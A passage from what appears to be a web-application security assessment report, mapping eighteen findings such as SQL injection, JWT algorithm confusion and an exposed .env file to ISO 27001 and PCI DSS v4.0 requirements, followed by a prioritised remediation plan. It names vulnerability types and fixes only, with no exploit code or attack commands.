11	Verbose Error Messages	A.8.25, A.8.12	Secure development life cycle, Data classification	Non-conformity (OPEN)
12	CORS Misconfiguration	A.8.22, A.8.23	Segregation of networks, Web filtering	Non-conformity (OPEN)
13	Server Version Disclosure	A.8.9, A.8.25	Configuration management, Secure development life cycle	Non-conformity (OPEN)
14	Missing Security Headers	A.8.22, A.8.23	Segregation of networks, Web filtering	Observation (OPEN)
15	Exposed .env File	A.8.9, A.8.15	Configuration management, Logging	Observation (OPEN)
16	Source Maps Accessible	A.8.9, A.8.25	Configuration management, Secure development life cycle	Observation (OPEN)
17	S3 Bucket Discovered	A.8.10, A.5.23	Information deletion, Information security for cloud services	Observation (OPEN)
18	Debug Endpoint Active	A.8.9, A.8.25	Configuration management, Secure development life cycle	Observation (OPEN)

ISO 27001 Summary

Key areas of non-conformity with ISO/IEC 27001:2022:

- A.8.28 (Secure Coding): Multiple injection vulnerabilities (SQL injection, SSTI, XSS) indicate insufficient secure coding practices. 2 of 3 critical findings have been fixed, but systemic improvements to the SDLC are recommended.

- A.8.3 (Information Access Restriction): IDOR and mass assignment vulnerabilities demonstrate inadequate access control mechanisms. Authorization checks must be implemented at every data access point.
- A.8.5 (Secure Authentication): JWT algorithm confusion and rate limiting bypass indicate weaknesses in authentication mechanisms. Cryptographic controls for token validation require immediate attention.
- A.8.9 (Configuration Management): Server version disclosure, debug endpoints, and source maps in production indicate lack of hardening procedures and configuration management.
- A.8.25 (Secure Development Life Cycle): Multiple vulnerability categories suggest the need for security integration throughout the SDLC, including mandatory security testing before deployment.

PCI DSS v4.0 Compliance Assessment

The following table maps discovered vulnerabilities to PCI DSS v4.0 requirements. This assessment is relevant if the application processes, stores, or transmits cardholder data. Non-compliance findings indicate areas requiring immediate remediation to achieve or maintain PCI DSS compliance.

#	Vulnerability	PCI DSS Requirement	Requirement Title	Status
1	SQL Injection in Search	Req 6.2.4	Software engineering techniques prevent injection attacks	Fail (REMEDIATED)
2	SSTI — RCE in Report Generator	Req 6.2.4, 6.3.1	Injection prevention, Security vulnerabilities identified and addressed	Fail (REMEDIATED)
3	IDOR on Document Download	Req 7.2.1, 7.2.2	Access control model, Access based on job classification and function	Fail (REMEDIATED)
4	Stored XSS in Display Name	Req 6.2.4	Injection prevention, Output encoding	Fail (REMEDIATED)
5	JWT Algorithm Confusion	Req 4.2.1, 8.3.2	Strong cryptography for transmission, Strong authentication factors	Fail (OPEN)
6	GraphQL Introspection	Req 6.2.2, 7.2.1	Custom code review, Access control model	Fail (OPEN)
7	Open Redirect via OAuth	Req 6.2.4	Injection and redirect prevention	Fail (OPEN)
8	Unrestricted File Upload	Req 6.2.4, 5.2.1	Input validation, Anti-malware mechanisms	Fail (REMEDIATED)
9	Mass Assignment — Escalation	Req 7.2.1, 7.2.4	Access control, Default deny-all	Fail (OPEN)
10	Rate Limiting Bypass	Req 8.2.4, 8.3.4	Lockout mechanisms,	Fail (OPEN)

			Password attempt limits	
11	Verbose Error Messages	Req 6.2.5, 3.4.1	Error handling, Secure display of PAN	Fail (OPEN)
12	CORS Misconfiguration	Req 6.4.1, 6.4.2	Known attack patterns, Automated web controls	Fail (OPEN)
13	Server Version Disclosure	Req 6.3.1, 2.2.4	Vulnerability identification, Secure system configuration	Fail (OPEN)
14	Missing Security Headers	Req 6.4.1	Attack patterns on public-facing web applications	Observation (OPEN)
15	Exposed .env File	Req 2.2.2, 2.2.4	Secure services, Secure system configuration	Observation (OPEN)
16	Source Maps Accessible	Req 6.3.1, 2.2.4	Secure configuration, Remove development artifacts	Observation (OPEN)
17	S3 Bucket Discovered	Req 3.5.1, 1.3.2	Secure data storage location, Restrict inbound traffic	Observation (OPEN)
18	Debug Endpoint Active	Req 2.2.4, 6.3.1	Remove/disable unnecessary functionality	Observation (OPEN)

PCI DSS v4.0 Summary

Key areas of non-compliance with PCI DSS v4.0:

- Requirement 6 (Develop and Maintain Secure Systems and Software): Multiple injection vulnerabilities (SQLi, SSTI, XSS), unrestricted file uploads, and lack of input validation indicate significant gaps in secure development practices. Requirement 6.2.4 (prevention of common web attacks) is failed across multiple endpoints. Organizations processing cardholder data must implement a secure SDLC with mandatory code review and penetration testing.
- Requirement 7 (Restrict Access to System Components): IDOR and mass assignment vulnerabilities violate the principle of least privilege (7.2.1) and default deny-all access (7.2.4). Access control must be enforced server-side for every request to cardholder data.
- Requirement 8 (Identify Users and Authenticate Access): JWT algorithm confusion undermines authentication integrity (8.3.2). Rate limiting bypass negates account

lockout requirements (8.2.4). Both findings must be remediated to prevent unauthorized access.
- Requirement 2 (Apply Secure Configurations): Server version disclosure, debug endpoints in production, exposed .env files, and source maps indicate failure to apply secure configurations (2.2.4) and remove unnecessary functionality.
- Requirement 4 (Protect Cardholder Data with Strong Cryptography): JWT algorithm downgrade from RS256 to HS256 demonstrates inadequate cryptographic controls for protecting authentication tokens that may grant access to cardholder data.

Compliance Remediation Priority

Based on the compliance mapping above, the following remediation priorities are recommended:

Priority	Action	Standards Impact	Timeline
P1 — Critical	Fix JWT algorithm confusion (enforce RS256)	ISO A.8.24, PCI 4.2.1, 8.3.2	Immediate (24-48h)
P1 — Critical	Disable GraphQL introspection, remove sensitive fields	ISO A.8.3, PCI 6.2.2, 7.2.1	Immediate (24-48h)
P1 — Critical	Implement mass assignment protection	ISO A.8.3, PCI 7.2.1	Immediate (24-48h)
P2 — High	Fix open redirect in OAuth flow	ISO A.8.5, PCI 6.2.4	Within 1 week
P2 — High	Fix rate limiting (use connection IP, not headers)	ISO A.8.5, PCI 8.2.4	Within 1 week
P2 — High	Set NODE_ENV=production, implement generic error handler	ISO A.8.25, PCI 6.2.5	Within 1 week
P3 — Medium	Restrict CORS to whitelisted origins	ISO A.8.22, PCI 6.4.1	Within 2 weeks
P3 — Medium	Remove server version headers	ISO A.8.9, PCI 2.2.4	Within 2 weeks
P3 — Medium	Implement all security headers (Helmet.js)	ISO A.8.23, PCI 6.4.1	Within 2 weeks
P4 — Low	Remove .env exposure, source maps, debug endpoint	ISO A.8.9, PCI 2.2.4	Within 1 month
P4 — Low	Use non-predictable S3 bucket names	ISO A.5.23, PCI 3.5.1	Within 1 month